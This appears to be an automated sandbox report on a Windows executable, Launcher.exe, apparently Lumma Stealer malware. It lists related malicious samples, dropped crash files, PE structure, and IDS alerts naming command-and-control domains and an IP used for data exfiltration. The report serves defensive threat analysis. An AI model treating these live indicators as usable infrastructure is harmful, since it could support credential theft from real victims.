104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse
	cccc2.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	172.67.157.254
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	23.55.153.106
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	qth5kdee.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	LgendPremium.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	2.elf	Get hash	malicious	Unknown	Browse	172.237.152.235
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.121.53
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	172.233.106.253
	nsharm7.elf	Get hash	malicious	Mirai	Browse	172.227.252.37
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.215.103.199
	nsharm.elf	Get hash	malicious	Mirai	Browse	23.1.235.104
	nshkmips.elf	Get hash	malicious	Mirai	Browse	23.44.132.66
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse	172.235.158.251
	nshsh4.elf	Get hash	malicious	Mirai	Browse	104.97.147.155
	arm5.elf	Get hash	malicious	Mirai	Browse	23.200.80.198
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.63.229
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	162.158.254.178
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.18.182
	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse	104.21.234.144
	nshkppc.elf	Get hash	malicious	Mirai	Browse	104.24.135.181
	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	104.18.38.10
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.67.146
	7394231845.html	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.86 23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Launcher.exe_Mic_f74e1663a5a0b81440bbd1616998843fb822d7d_95756e28_d38ce5c1-f4a1-4545-9092-2c0ff3beb800\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8120420955675249
Encrypted:	false
SSDEEP:	96:WiFpvB5LRIKAsKIsh1yDfUQXIDcQvc6QcEVcw3cE/H+HbHg/BQAS/YyNl4EfaA4+:djXNIKAy0BU/AjeTMzuiFbZ24IO82
MD5:	99E5153EE3FF09704DB1C99162239923
SHA1:	1765FD1FBDC661EB93396D22CCC6F0AD7EC6D9B1
SHA-256:	C21ACE6CC75B57C1686F30873B8BE4294C043EB712E0225B2BD76168B320352B
SHA-512:	0893E195DE41312C5284653C8E6AB78062962F5E3469D3C4C372F7BBAF14835DB93256EE55DFA9DA436094331188F24B19C68A333CC6555650542376BE971F3A
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.3.8.1.3.9.7.6.9.2.3.0.7.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.3.8.1.3.9.8.3.4.8.5.5.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.3.8.c.e.5.c.1.-.f.4.a.1.-.4.5.4.5.-.9.0.9.2.-.2.c.0.f.f.3.b.e.b.8.0.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.5.1.0.4.1.7.9.-.b.e.6.8.-.4.d.8.f.-.b.9.e.c.-.d.a.b.4.a.7.a.9.2.5.5.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.L.a.u.n.c.h.e.r...e.x.e._.M.i.c.r.o.s.o.f.t... .W.i.n.d.o.w.s... .O.p.e.r.a.t.i.n.g. .S.y.s.t.e.m.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.p.c.P.i.n.g...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.6.0.-.0.0.0.1.-.0.0.1.4.-.6.8.7.0.-.9.e.d.2.c.3.5.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.8.f.e.4.d.d.b.1.2.e.2.2.3.9.6.d.b.2.4.b.9.7.7.f.f.e.c.1.5.d.5.0.0.0.0.0.9.0.4.!.0.0.0.0.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER599.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Dec 22 22:49:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	50272
Entropy (8bit):	1.7329745187605397
Encrypted:	false
SSDEEP:	192:XgEEzx0O5HnlaNLly9XCIPq5vbOcGwCML6IvB:QX5HnlaN4yL5TNGwCMNB
MD5:	B68D755B5C286703952EF626578A3BFE
SHA1:	07243C7D3EF702517AF8A548E39A3CE9919B2BB7
SHA-256:	5C020E776E54ECC65270A7A3674B135A578C7E46C87AA19BCD075D9984977CDB
SHA-512:	C0A19F60E5407C45AA8D36A7BC55D9BD0EBA4B818F847EAF9DCE2D5CBBB4F821310F21E6DAEAD4E7FA5B195C41A36BDF048490D2CA1A240F7279F4D686084298
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........hg........................@...........T....'..........T.......8...........T...........X...........................................................................................................eJ..............GenuineIntel............T.......`.....hg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER675.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8386
Entropy (8bit):	3.69817147295055
Encrypted:	false
SSDEEP:	192:R6l7wVeJ826r0S6YEINSU9gyojLgmfJuJvcprM89bSnsf6fGm:R6lXJ96r0S6YECSU9gywgmfJuJvASsf4
MD5:	9346BA6EE8B29BCBD71268B36DAD1C4A
SHA1:	399791524AA872E9AADF04119384F3414353A89F
SHA-256:	2747DAF9F2837ABB8243298F6D64A979A7CA0EEBC92B0DFC3E9F146DE09B6E4B
SHA-512:	4D2F56019F4C46726E31D3A823498BE4BB9FC2889CFCFE0CB8645BDAC4ED48C3A8AB5C38D268D43A3546288F885293486EE8C117025EE047ED6AC049C99AB44B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.6.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A4.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4768
Entropy (8bit):	4.513824013928216
Encrypted:	false
SSDEEP:	96:uIjfnwI7ZMa7VeJtTIwTIrp9TIBZ5ZKM+Cd:uIcYZN7kpdgmt+A
MD5:	BD9AAC789EC4789E6B60EC199BFCAE78
SHA1:	92B26781A69509CF259E606833E5A4892B78513D
SHA-256:	1A30677B93812DF53B7E6BD09CBD677BAC57816725E534C0778BB598EAD24503
SHA-512:	9F184676326793B76454BB93DAF8309A556C1D789516CF25C8A1BA27B951B8F727071054403A99D583F68759F6E00B8122EADC4E63D272E0D756394518CC1BB0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="643072" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.422013855103208
Encrypted:	false
SSDEEP:	6144:ZSvfpi6ceLP/9skLmb0OTvWSPHaJG8nAgeMZMMhA2fX4WABlEnNg0uhiTw:QvloTvW+EZMM6DFyO03w
MD5:	C8F65EBF26F5EF297FB884D743B61ED2
SHA1:	082697A280C3F500681C4049B7C143C842116232
SHA-256:	4B1FBEC7911BD395269023DDE14EF444F85A6F5429AFC8136CCD30943C65AC81
SHA-512:	7AEED40A5E81C0D3F8E286FCBD01F180107E8E1889DFE61F5AFE6575F587F1F44686BF3897DA83BC5B89B691E613D3FCC9BCBFA64F418E17F58D1CD6E4FFFC17
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmv./..T................................................................................................................................................................................................................................................................................................................................................8.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.538797699452019
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Launcher.exe
File size:	552'960 bytes
MD5:	b7c46f4d20c5a3926df76e882d2babe7
SHA1:	6df61219ed593a296a265a31fb6a354fa31649cd
SHA256:	c38f2f4bb95bdd3b5a62b650d233d5d697fbf74d607a65b5375eeb79c8e2e2fd
SHA512:	d71ceb4e70a5241da2c5075e7c572aa56f185607b18f791428af60a562753f25ecfd484a3bc91989316b7b0b7e797ae023f3c0932c275e1c3383d5287fafee01
SSDEEP:	12288:P3sPnKB1HitY7GwaBywRO7KyU70QVhBUZEeSSjy4OhbEo:P8PnKrittwaBVO7KyU7nhBUy/hrb
TLSH:	0AC4C001B450C132CD7725B768AADBAE493EE9204B627ACF93480DFDDF255C1A631B27
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....fg.........."..................K............@..................................$....@.................................\...P..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x414bbb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x6766D9DE [Sat Dec 21 15:08:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	0e4c328663ae5868d07c0edb57d0348d

Entrypoint Preview

Instruction
call 00007F6BB8C80C5Ah
jmp 00007F6BB8C80AC9h
mov ecx, dword ptr [0043D6C0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F6BB8C80C56h
test esi, ecx
jne 00007F6BB8C80C78h
call 00007F6BB8C80C81h
mov ecx, eax
cmp ecx, edi
jne 00007F6BB8C80C59h
mov ecx, BB40E64Fh
jmp 00007F6BB8C80C60h
test esi, ecx
jne 00007F6BB8C80C5Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043D6C0h], ecx
not ecx
pop edi
mov dword ptr [0043D700h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0043A5D8h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0043A590h]
xor dword ptr [ebp-04h], eax
call dword ptr [0043A58Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0043A628h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043EC38h
call dword ptr [0043A600h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F6BB8C88288h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3a35c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8c000	0x3e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x41000	0x2114	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x367e8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x32b78	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3a524	0x178	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2f54f	0x2f600	58bc155b094b6873a22cc988795a8d23	False	0.5124196075197889	data	6.453078444758717	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x31000	0xa9ec	0xaa00	ee0908da15a0e5d81cca81415109d13b	False	0.4196920955882353	data	4.875338264838317	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3c000	0x3400	0x2400	81d422e119a7deac089cc0743b9210da	False	0.3245442708333333	data	5.214421128212959	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x40000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x41000	0x2114	0x2200	fb9df7b78b2799ee418116907747d382	False	0.7449448529411765	data	6.477521124661293	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x44000	0x47e00	0x47e00	611aacf0dd8e35e3bc88a923a4fb8af4	False	1.0003260869565218	data	7.9994038851983635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8c000	0x3e8	0x400	93d6519c97ffd7db4a07ab1d2e3304e8	False	0.43359375	data	3.2859175893892143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8c058	0x390	data	English	United States	0.4517543859649123

Imports

DLL	Import
KERNEL32.dll	AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile
USER32.dll	DefWindowProcW
ADVAPI32.dll	EqualPrefixSid

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-22T23:49:57.881651+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.5	60024	1.1.1.1	53	UDP
2024-12-22T23:49:58.128956+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	57378	1.1.1.1	53	UDP
2024-12-22T23:49:58.518570+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.5	58119	1.1.1.1	53	UDP
2024-12-22T23:49:58.998433+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.5	63340	1.1.1.1	53	UDP
2024-12-22T23:49:59.374717+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.5	51134	1.1.1.1	53	UDP
2024-12-22T23:49:59.769175+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.5	62557	1.1.1.1	53	UDP
2024-12-22T23:50:00.095091+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.5	53062	1.1.1.1	53	UDP
2024-12-22T23:50:00.322272+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.5	57611	1.1.1.1	53	UDP
2024-12-22T23:50:00.544562+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.5	61042	1.1.1.1	53	UDP
2024-12-22T23:50:02.489769+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	23.55.153.106	443	TCP
2024-12-22T23:50:03.312525+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49705	23.55.153.106	443	TCP
2024-12-22T23:50:04.998606+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.66.86	443	TCP
2024-12-22T23:50:05.781735+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49708	104.21.66.86	443	TCP
2024-12-22T23:50:05.781735+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49708	104.21.66.86	443	TCP
2024-12-22T23:50:07.040341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49712	104.21.66.86	443	TCP
2024-12-22T23:50:08.103943+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49712	104.21.66.86	443	TCP
2024-12-22T23:50:08.103943+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49712	104.21.66.86	443	TCP
2024-12-22T23:50:09.730127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	104.21.66.86	443	TCP
2024-12-22T23:50:12.283390+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49715	104.21.66.86	443	TCP
2024-12-22T23:50:25.800225+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49745	104.21.66.86	443	TCP
2024-12-22T23:50:28.783946+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49756	104.21.66.86	443	TCP
2024-12-22T23:50:29.459744+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49756	104.21.66.86	443	TCP
2024-12-22T23:50:31.163794+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49762	104.21.66.86	443	TCP
2024-12-22T23:50:31.184304+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49762	104.21.66.86	443	TCP
2024-12-22T23:50:39.867758+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49783	104.21.66.86	443	TCP
2024-12-22T23:50:40.653165+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49783	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 23:50:01.096602917 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:01.096721888 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:01.096824884 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:01.098067999 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:01.098107100 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:02.489650011 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:02.489768982 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:02.499094963 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:02.499133110 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:02.499373913 CET	443	49705	23.55.153.106	192.168.2.5
Dec 22, 2024 23:50:02.539448023 CET	49705	443	192.168.2.5	23.55.153.106
Dec 22, 2024 23:50:02.544462919 CET	49705	443	192.168.2.5	23.55.153.106
